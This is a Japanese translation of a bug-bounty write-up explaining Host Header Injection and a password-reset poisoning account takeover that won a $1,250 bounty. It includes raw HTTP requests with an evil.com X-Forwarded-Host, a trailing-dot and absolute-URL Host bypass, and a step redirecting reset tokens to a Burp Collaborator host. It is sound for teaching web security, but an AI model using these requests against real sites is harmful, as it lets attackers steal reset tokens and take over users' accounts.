「$1,250 worth of Host Header Injection」でHostHeaderInjection を学ぶ

ソース:

medium.com

脆弱性:Host Header Injection

 

訳:

ホストヘッダーインジェクションとは何ですか?

ホスト ヘッダーインジェクションは、攻撃者が Web サーバーへの HTTP リクエスト内の「Host」ヘッダーを操作するときに発生する Web セキュリティの脆弱性で。
このヘッダーは HTTP プロトコルの一部であり、リクエストの送信先となるターゲット ドメインまたはホストを指定するために使用され。
ホスト ヘッダー インジェクション攻撃は通常、「ホスト」ヘッダーに依存してサービスを提供する仮想ホストまたは Web サイトを決定する Web サイトをターゲットとし。

 

ホスト ヘッダーの操作

一般的な HTTP リクエストでは、「ホスト」ヘッダーはクライアントが通信したいサーバーのドメイン名または IP アドレスを指定し。 例えば:

 

GET /page HTTP/1.1
Host: www.example.com

「Host」ヘッダーを制御または影響を与える能力を持つ攻撃者は、それを別のドメイン (場合によっては自分が制御するドメイン) に変更する可能性があり。

 

GET /page HTTP/1.1
Host: malicious.com

この脆弱性を悪用するにはどうすれば

明らかに、誰からでも 1,200 ドルを手に入れるのは簡単ではありません。 ホストヘッダー インジェクションは、「パスワードを忘れた」機能を使用したアカウント乗っ取りや、Web キャッシュ ポイズニングなどの他の連鎖的な脆弱性など、重大な影響を実証できない限り、情報提供または重大度 P5 の脆弱性とみなされ。

 

Request:

GET /account/forgotpassword HTTP/2
Host: target.com
X-Forwarded-Host: evil.com
Cookie: asd=1234;
Accept: text/html,application/xhtml+xml,application/xml;
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br

 

Respoinse:

HTTP/1.1 200 Ok
...
Response Headers
...

<html>
<head>
<title>Web Page</title>
<script src="https://evil.com/index.php">
<html>

 

ホストヘッダーインジェクションによるアカウント乗っ取り:

  1. まず、「forgot password」機能にアクセスし、パスワードのリセット要求を開始。
  2. その後、リセットされたパスワード トークンを含むリンクを受け取り。
  3. HOSTヘッダーの末尾にピリオド文字 (「.」) を意図的に導入し、送信を開始、脆弱性の存在の可能性を評価するために。パスワード リセット リクエスト内の変更されたヘッダーは次のように表示されます: Host: target.com。
POST /account/forgotpassword?returnUrl=%2Fconnect%2Fauthorize%2Fcallback HTTP/2
Host: target.com.
Cookie: csrf=123;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 207
Origin: https://target.com
Referer: https://target.com/account/forgotpassword?returnUrl=%2Fconnect%2F
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

UserEmail=gdfcg%40gg.jjh&__RequestVerificationToken=CfDJ8GDFIfdscxdswacdqf6U3KlURi0Grkuo8sBP858JcLQAG_cNRggywWo76y3VIxmhy1vfVl4-lHCOhVaoH72y9nkRwyBI4iGQtacDt6yn41XExQXEdk19PEsSpZNdSDZM8JNqdnrmpf8

 

4. 今回電子メールを確認したところ、ホストヘッダーに挿入したピリオドを含むリセットパスワード トークンを受け取り。
これは、Web サイトがホスト ヘッダー インジェクションに対して脆弱であることを確認し。

 

https://target.com./forgetpassword?userid=123&code=2wwdsb3wehsuwhswgbsuwgqeu

 

5. ピリオドの後に何かを追加しようとすると、404 エラーが発生し。
これは、さらなる悪用を進めるためにこの制限を回避する必要があることを示して。

 

 

6. そこで、「200 OK」応答を受け取るために、リクエストの先頭に完全な URL を追加して、パスワード リセット リクエストを作成し。

 

POST https://target.com/account/forgotpassword?returnUrl=%2Fconnect%2F HTTP/2
Host: target.com.a
Cookie: csrf=CfDJ8GDFIImEfuZMtjMUAD0wjkSdISqxtWbF9MT0WcjjItWKvv71ykCvBLAfhH45TNQd7Crf9INSWcMvbvgfPDdG1wx-lHyAE5mWs107rzfTUfNSpak2pVHjo7Ff3vK0mltaC4X26-YwDQN1SvOrRTIHFygaQJM
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

UserEmail=gdfcg%40gg.jjh&__RequestVerificationToken=CfDJ8GDFIImEfuZMtjMUAD0wjkSZZhL3qf6U3KlURi0Grkuo8sBP858JcLQAG_cNRgdsfxsdgywWo76y3VIxmhy1vfVl4-lHCOhVaoH72y9nkRwyBI4iGQtacDt6yn41XExQXEdk19PEsSpZNdSDZM8JNqdnrmpf8

 

7. しかし、今度は 400 Bad Request が表示されます。

 

8.少し考えて調査した結果、Burp Suite の現在のバージョンが「400 Bad Request」エラーを生成する原因である可能性があることに気づき。
その結果、私は Burp Suite の古いバージョン (1.7.34 など) を利用することにしました。

9. そして、私は成功しました。

10. ここで、完全なエクスプロイトをデモンストレーションするために、Burp Collaborator リンクをホストヘッダーに追加してリクエストを送信し。

 

 

11. 被害者は、細工されたパスワードのリセット リンクを受け取り。被害者がこのリンクをクリックするたびに、Burp Collaborator でリセットされたパスワード トークンを受け取り。

 

 

12. これで、このトークンを使用して被害者のアカウントを乗っ取ることができ、その結果、1,250 ドルの報奨金を受け取り。

 

ほなほな。